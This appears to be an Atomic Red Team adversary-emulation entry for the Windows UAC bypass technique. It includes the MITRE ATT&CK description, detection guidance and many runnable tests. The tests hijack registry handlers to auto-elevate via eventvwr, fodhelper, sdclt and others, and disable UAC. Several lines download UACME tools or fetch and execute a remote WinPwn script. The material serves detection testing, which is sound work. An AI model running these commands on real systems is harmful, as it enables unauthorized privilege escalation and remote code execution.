        Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)

        If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

        Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

        * <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

        Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Stefan Kanthak
      - Casey Smith
      x_mitre_deprecated: false
      x_mitre_detection: |-
        There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.

        Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:

        * The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command</code> Registry key.(Citation: enigma0x3 Fileless UAC Bypass)

        * The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)

        Analysts should monitor these Registry settings for unauthorized changes.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: Process Metadata'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      x_mitre_effective_permissions:
      - Administrator
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073
      created: '2020-01-30T14:24:34.977Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1548/002
        external_id: T1548.002
      - source_name: Davidson Windows
        description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November
          12, 2014.
        url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
      - source_name: TechNet How UAC Works
        description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
      - source_name: SANS UAC Bypass
        description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June
          3, 2016.
        url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
      - source_name: MSDN COM Elevation
        description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July
          26, 2016.
        url: https://msdn.microsoft.com/en-us/library/ms679687.aspx
      - source_name: enigma0x3 Fileless UAC Bypass
        description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe
          and Registry Hijacking. Retrieved December 27, 2016.
        url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
      - source_name: enigma0x3 sdclt app paths
        description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved
          May 25, 2017.
        url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
      - source_name: enigma0x3 sdclt bypass
        description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe.
          Retrieved May 25, 2017.
        url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
      - source_name: TechNet Inside UAC
        description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows
          7 User Account Control. Retrieved July 26, 2016.'
        url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
      - source_name: Fortinet Fareit
        description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses
          UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
        url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
      - source_name: Github UACMe
        description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.
        url: https://github.com/hfiref0x/UACME
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1548.002
    atomic_tests:
    - name: Bypass UAC using Event Viewer (cmd)
      auto_generated_guid: 5073adf8-9a50-4bd9-b298-a9bd2ead8af9
      description: "Bypasses User Account Control using Event Viewer and a relevant
        Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon
        execution command prompt should be launched with administrative privileges.
        \n"
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f
          cmd.exe /c eventvwr.msc
        cleanup_command: 'reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1

          '
        name: command_prompt
    - name: Bypass UAC using Event Viewer (PowerShell)
      auto_generated_guid: a6ce9acf-842a-4af6-8f79-539be7608e2b
      description: |
        PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
        Upon execution command prompt should be launched with administrative privalages
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
          Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
          Start-Process "C:\Windows\System32\eventvwr.msc"
        cleanup_command: 'Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse
          -ErrorAction Ignore

          '
        name: powershell
    - name: Bypass UAC using Fodhelper
      auto_generated_guid: 58f641ea-12e3-499a-b684-44dee46bd182
      description: |
        Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
        Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened.
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f
          reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" /f
          fodhelper.exe
        cleanup_command: 'reg.exe delete hkcu\software\classes\ms-settings /f >nul
          2>&1

          '
        name: command_prompt
    - name: Bypass UAC using Fodhelper - PowerShell
      auto_generated_guid: 3f627297-6c38-4e7d-a278-fc2563eaaeaa
      description: |
        PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
        Upon execution command prompt will be opened.
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
          New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
          Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
          Start-Process "C:\Windows\System32\fodhelper.exe"
        cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force
          -Recurse -ErrorAction Ignore

          '
        name: powershell
    - name: Bypass UAC using ComputerDefaults (PowerShell)
      auto_generated_guid: 3c51abf2-44bf-42d8-9111-dc96ff66750f
      description: |
        PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10
        Upon execution administrative command prompt should open
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
          New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
          Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
          Start-Process "C:\Windows\System32\ComputerDefaults.exe"
        cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force
          -Recurse -ErrorAction Ignore

          '
        name: powershell
    - name: Bypass UAC by Mocking Trusted Directories
      auto_generated_guid: f7a35090-6f7f-4f64-bb47-d657bf5b10c1
      description: |
        Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems
        Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          mkdir "\\?\C:\Windows \System32\"
          copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe"
          mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe"
        cleanup_command: |
          rd "\\?\C:\Windows \" /S /Q >nul 2>nul
          del "c:\testbypass.exe" >nul 2>nul
        name: command_prompt
        elevation_required: true
    - name: Bypass UAC using sdclt DelegateExecute
      auto_generated_guid: 3be891eb-4608-4173-87e8-78b494c029b7
      description: |
        Bypasses User Account Control using a fileless method, registry only.
        Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe
        [Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)
        Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: Command to execute
          type: string
          default: cmd.exe /c notepad.exe
      executor:
        command: |
          New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command_to_execute}'
          New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute"
          Start-Process -FilePath $env:windir\system32\sdclt.exe
          Start-Sleep -s 3
        cleanup_command: 'Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse
          -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Disable UAC using reg.exe
      auto_generated_guid: 9e8af564-53ec-407e-aaa8-3cb20c3af7f9
      description: |
        Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key
        HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0
      supported_platforms:
      - windows
      executor:
        command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          /v EnableLUA /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          /v EnableLUA /t REG_DWORD /d 1 /f

          '
        name: command_prompt
        elevation_required: true
    - name: Bypass UAC using SilentCleanup task
      auto_generated_guid: 28104f8a-4ff1-4582-bcf6-699dce156608
      description: |
        Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/

        There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level).

        For example, we can set the windir registry kye to: "cmd /k REM "

        And forcefully run SilentCleanup task:

        schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

        REM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs.
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: Path to the bat file
          type: string
          default: PathToAtomicsFolder\T1548.002\src\T1548.002.bat
      executor:
        command: '"#{file_path}"

          '
        name: command_prompt
        elevation_required: false
    - name: UACME Bypass Method 23
      auto_generated_guid: 8ceab7a2-563a-47d2-b5ba-0995211128d7
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent:
        DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\23 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 31
      auto_generated_guid: b0f76240-9f33-4d34-90e8-3a7d501beb15
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent:
        Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM
        Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\31 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 33
      auto_generated_guid: e514bb03-f71c-4b22-9092-9f961ec6fb03
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\33 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 34
      auto_generated_guid: 695b2dac-423e-448e-b6ef-5b88e93011d6
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe
        via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM
        Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\34 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 39
      auto_generated_guid: 56163687-081f-47da-bb9c-7b231c5585cf
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\39 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 56
      auto_generated_guid: 235ec031-cd2d-465d-a7ae-68bab281e80e
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\56 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 59
      auto_generated_guid: dfb1b667-4bb8-4a63-a85e-29936ea75f29
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and
        DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM
        Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\59 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: UACME Bypass Method 61
      auto_generated_guid: 7825b576-744c-4555-856d-caf3460dc236
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
        two administrative command prompts.\nNote: The cleanup_command's which kill
        the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor:
        Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod:
        Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker
        defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n"
      supported_platforms:
      - windows
      input_arguments:
        uacme_exe:
          description: Path to uacme executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\uacme\61 Akagi64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}")

          '
        prereq_command: |
          $tempPath = cmd /c echo #{uacme_exe}
          if (Test-Path "$tempPath") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
      executor:
        command: '"#{uacme_exe}"

          '
        cleanup_command: |
          powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
          powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
        name: command_prompt
    - name: WinPwn - UAC Magic
      auto_generated_guid: 964d8bf8-37bc-4fd3-ba36-ad13761ebbcc
      description: UAC bypass using Magic technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique magic
        name: powershell
    - name: WinPwn - UAC Bypass ccmstp technique
      auto_generated_guid: f3c145f9-3c8d-422c-bd99-296a17a8f567
      description: UAC bypass using ccmstp technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          UACBypass -noninteractive -command "C:\windows\system32\calc.exe" -technique ccmstp
        name: powershell
    - name: WinPwn - UAC Bypass DiskCleanup technique
      auto_generated_guid: 1ed67900-66cd-4b09-b546-2a0ef4431a0c
      description: UAC bypass using DiskCleanup technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
